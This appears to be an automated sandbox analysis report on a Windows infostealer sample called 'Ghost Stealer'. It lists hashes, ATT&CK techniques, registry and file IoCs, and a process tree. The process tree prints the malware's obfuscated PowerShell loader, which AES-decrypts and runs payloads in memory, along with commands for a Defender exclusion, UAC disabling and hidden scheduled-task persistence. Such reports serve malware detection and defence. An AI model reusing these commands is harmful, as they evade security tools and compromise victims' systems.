2389f707ea454c9643631a8936557ea2abb39323d824cbd15759eee10c67cf46

Analysis

max time kernel
99s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-09-2024 03:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Ghost Stealer/Stub/stub.exe
Size

1.2MB
MD5

a807001286f0d4f3336e9a45e6184558
SHA1

4253769235f75848632e559a2e15d0ef9708a479
SHA256

e1f56d8ad0dfea880281406424191daebbc1f77eb30ca25d997f26fd6cc71070
SHA512

693221c1809c9d338e0ac270a0cf6aa6f277026b58056360180415b96a1a5f47104376e4fe37e0f6a2e929c5a9e7547afe0fa0d5b6ee8d12a76012affb718d42
SSDEEP

12288:ZiOokH48FBakxSixBfraTyInY2tpJg7yICBRIkx:ZiOAukKSine/pzmwBp

Score

10^/10

evasion execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	stub.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3632	powershell.exe
4868	powershell.exe
4216	powershell.exe
3004	powershell.exe
3156	powershell.exe
4664	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	stub.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2836	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	stub.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	stub.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	stub.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
12	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	stub.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	stub.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\console.bat	stub.exe
File opened for modification	C:\Windows\System32\console.bat	stub.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\update.bat	stub.exe
File opened for modification	C:\Windows\update.bat	stub.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2352	timeout.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00ED8326F2E"	svchost.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133698085710810821"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133698085857099672"	svchost.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe
3184	stub.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3184	stub.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeIncreaseQuotaPrivilege	4868	powershell.exe
Token: SeSecurityPrivilege	4868	powershell.exe
Token: SeTakeOwnershipPrivilege	4868	powershell.exe
Token: SeLoadDriverPrivilege	4868	powershell.exe
Token: SeSystemProfilePrivilege	4868	powershell.exe
Token: SeSystemtimePrivilege	4868	powershell.exe
Token: SeProfSingleProcessPrivilege	4868	powershell.exe
Token: SeIncBasePriorityPrivilege	4868	powershell.exe
Token: SeCreatePagefilePrivilege	4868	powershell.exe
Token: SeBackupPrivilege	4868	powershell.exe
Token: SeRestorePrivilege	4868	powershell.exe
Token: SeShutdownPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeSystemEnvironmentPrivilege	4868	powershell.exe
Token: SeRemoteShutdownPrivilege	4868	powershell.exe
Token: SeUndockPrivilege	4868	powershell.exe
Token: SeManageVolumePrivilege	4868	powershell.exe
Token: 33	4868	powershell.exe
Token: 34	4868	powershell.exe
Token: 35	4868	powershell.exe
Token: 36	4868	powershell.exe
Token: SeIncreaseQuotaPrivilege	4868	powershell.exe
Token: SeSecurityPrivilege	4868	powershell.exe
Token: SeTakeOwnershipPrivilege	4868	powershell.exe
Token: SeLoadDriverPrivilege	4868	powershell.exe
Token: SeSystemProfilePrivilege	4868	powershell.exe
Token: SeSystemtimePrivilege	4868	powershell.exe
Token: SeProfSingleProcessPrivilege	4868	powershell.exe
Token: SeIncBasePriorityPrivilege	4868	powershell.exe
Token: SeCreatePagefilePrivilege	4868	powershell.exe
Token: SeBackupPrivilege	4868	powershell.exe
Token: SeRestorePrivilege	4868	powershell.exe
Token: SeShutdownPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeSystemEnvironmentPrivilege	4868	powershell.exe
Token: SeRemoteShutdownPrivilege	4868	powershell.exe
Token: SeUndockPrivilege	4868	powershell.exe
Token: SeManageVolumePrivilege	4868	powershell.exe
Token: 33	4868	powershell.exe
Token: 34	4868	powershell.exe
Token: 35	4868	powershell.exe
Token: 36	4868	powershell.exe
Token: SeIncreaseQuotaPrivilege	4868	powershell.exe
Token: SeSecurityPrivilege	4868	powershell.exe
Token: SeTakeOwnershipPrivilege	4868	powershell.exe
Token: SeLoadDriverPrivilege	4868	powershell.exe
Token: SeSystemProfilePrivilege	4868	powershell.exe
Token: SeSystemtimePrivilege	4868	powershell.exe
Token: SeProfSingleProcessPrivilege	4868	powershell.exe
Token: SeIncBasePriorityPrivilege	4868	powershell.exe
Token: SeCreatePagefilePrivilege	4868	powershell.exe
Token: SeBackupPrivilege	4868	powershell.exe
Token: SeRestorePrivilege	4868	powershell.exe
Token: SeShutdownPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeSystemEnvironmentPrivilege	4868	powershell.exe
Token: SeRemoteShutdownPrivilege	4868	powershell.exe
Token: SeUndockPrivilege	4868	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 3004	3184	stub.exe	85
PID 3184 wrote to memory of 3004	3184	stub.exe	85
PID 3184 wrote to memory of 3012	3184	stub.exe	89
PID 3184 wrote to memory of 3012	3184	stub.exe	89
PID 3184 wrote to memory of 3156	3184	stub.exe	90
PID 3184 wrote to memory of 3156	3184	stub.exe	90
PID 3012 wrote to memory of 3448	3012	cmd.exe	93
PID 3012 wrote to memory of 3448	3012	cmd.exe	93
PID 3448 wrote to memory of 1160	3448	net.exe	94
PID 3448 wrote to memory of 1160	3448	net.exe	94
PID 3184 wrote to memory of 4972	3184	stub.exe	95
PID 3184 wrote to memory of 4972	3184	stub.exe	95
PID 3184 wrote to memory of 756	3184	stub.exe	97
PID 3184 wrote to memory of 756	3184	stub.exe	97
PID 756 wrote to memory of 2352	756	cmd.exe	99
PID 756 wrote to memory of 2352	756	cmd.exe	99
PID 4972 wrote to memory of 4664	4972	cmd.exe	100
PID 4972 wrote to memory of 4664	4972	cmd.exe	100
PID 4972 wrote to memory of 1320	4972	cmd.exe	101
PID 4972 wrote to memory of 1320	4972	cmd.exe	101
PID 4972 wrote to memory of 2836	4972	cmd.exe	102
PID 4972 wrote to memory of 2836	4972	cmd.exe	102
PID 3012 wrote to memory of 1496	3012	cmd.exe	105
PID 3012 wrote to memory of 1496	3012	cmd.exe	105
PID 3012 wrote to memory of 3632	3012	cmd.exe	106
PID 3012 wrote to memory of 3632	3012	cmd.exe	106
PID 4972 wrote to memory of 3596	4972	cmd.exe	107
PID 4972 wrote to memory of 3596	4972	cmd.exe	107
PID 3632 wrote to memory of 4868	3632	powershell.exe	109
PID 3632 wrote to memory of 4868	3632	powershell.exe	109
PID 3632 wrote to memory of 3148	3632	powershell.exe	111
PID 3632 wrote to memory of 3148	3632	powershell.exe	111
PID 3148 wrote to memory of 716	3148	WScript.exe	112
PID 3148 wrote to memory of 716	3148	WScript.exe	112
PID 716 wrote to memory of 2432	716	cmd.exe	114
PID 716 wrote to memory of 2432	716	cmd.exe	114
PID 2432 wrote to memory of 3256	2432	net.exe	115
PID 2432 wrote to memory of 3256	2432	net.exe	115
PID 716 wrote to memory of 4452	716	cmd.exe	116
PID 716 wrote to memory of 4452	716	cmd.exe	116
PID 716 wrote to memory of 4216	716	cmd.exe	117
PID 716 wrote to memory of 4216	716	cmd.exe	117
PID 4216 wrote to memory of 3428	4216	powershell.exe	56
PID 4216 wrote to memory of 1772	4216	powershell.exe	31
PID 4216 wrote to memory of 952	4216	powershell.exe	12
PID 4216 wrote to memory of 2648	4216	powershell.exe	45
PID 4216 wrote to memory of 5116	4216	powershell.exe	65
PID 4216 wrote to memory of 2160	4216	powershell.exe	39
PID 4216 wrote to memory of 4952	4216	powershell.exe	69
PID 4216 wrote to memory of 4908	4216	powershell.exe	68
PID 4216 wrote to memory of 1348	4216	powershell.exe	23
PID 4216 wrote to memory of 1740	4216	powershell.exe	30
PID 4216 wrote to memory of 1144	4216	powershell.exe	20
PID 4216 wrote to memory of 2296	4216	powershell.exe	41
PID 4216 wrote to memory of 2516	4216	powershell.exe	43
PID 4216 wrote to memory of 2736	4216	powershell.exe	46
PID 4216 wrote to memory of 1656	4216	powershell.exe	36
PID 4216 wrote to memory of 1720	4216	powershell.exe	29
PID 4216 wrote to memory of 1128	4216	powershell.exe	19
PID 4216 wrote to memory of 3292	4216	powershell.exe	72
PID 4216 wrote to memory of 1948	4216	powershell.exe	33
PID 4216 wrote to memory of 1848	4216	powershell.exe	32
PID 4216 wrote to memory of 2880	4216	powershell.exe	52
PID 4216 wrote to memory of 904	4216	powershell.exe	11

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:800
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:5100
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:4676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3376

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3428
- C:\Users\Admin\AppData\Local\Temp\Ghost Stealer\Stub\stub.exe
  "C:\Users\Admin\AppData\Local\Temp\Ghost Stealer\Stub\stub.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Checks BIOS information in registry
  - Checks computer location settings
  - Maps connected drives based on registry
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\console.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Windows\System32\console.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\system32\net.exe
      net file
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        5⤵
        
        PID:1160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uGE0dAIXPjOlfvS9Y/0kI5g5YUzCk64n11+r865HhwQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YOHYWoe00JwtEtFTIeXA8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ixTZK=New-Object System.IO.MemoryStream(,$param_var); $PECtq=New-Object System.IO.MemoryStream; $HJOAN=New-Object System.IO.Compression.GZipStream($ixTZK, [IO.Compression.CompressionMode]::Decompress); $HJOAN.CopyTo($PECtq); $HJOAN.Dispose(); $ixTZK.Dispose(); $PECtq.Dispose(); $PECtq.ToArray();}function execute_function($param_var,$param2_var){ $lTLcR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SBegw=$lTLcR.EntryPoint; $SBegw.Invoke($null, $param2_var);}$pxuYc = 'C:\Windows\System32\console.bat';$host.UI.RawUI.WindowTitle = $pxuYc;$mgGpa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pxuYc).Split([Environment]::NewLine);foreach ($KLWCQ in $mgGpa) { if ($KLWCQ.StartsWith('NyzCijHOWmLGFgHJEOnF')) { $EAbeG=$KLWCQ.Substring(20); break; }}$payloads_var=[string[]]$EAbeG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      4⤵
      PID:1496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
      4⤵
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3632
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_810_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_810.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4868
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_810.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3148
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_810.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:716
        
        C:\Windows\system32\net.exe
        
        net file
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2432
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        8⤵
        
        PID:3256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uGE0dAIXPjOlfvS9Y/0kI5g5YUzCk64n11+r865HhwQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YOHYWoe00JwtEtFTIeXA8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ixTZK=New-Object System.IO.MemoryStream(,$param_var); $PECtq=New-Object System.IO.MemoryStream; $HJOAN=New-Object System.IO.Compression.GZipStream($ixTZK, [IO.Compression.CompressionMode]::Decompress); $HJOAN.CopyTo($PECtq); $HJOAN.Dispose(); $ixTZK.Dispose(); $PECtq.Dispose(); $PECtq.ToArray();}function execute_function($param_var,$param2_var){ $lTLcR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SBegw=$lTLcR.EntryPoint; $SBegw.Invoke($null, $param2_var);}$pxuYc = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_810.bat';$host.UI.RawUI.WindowTitle = $pxuYc;$mgGpa=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pxuYc).Split([Environment]::NewLine);foreach ($KLWCQ in $mgGpa) { if ($KLWCQ.StartsWith('NyzCijHOWmLGFgHJEOnF')) { $EAbeG=$KLWCQ.Substring(20); break; }}$payloads_var=[string[]]$EAbeG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:4452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        7⤵
        Command and Scripting Interpreter: PowerShell
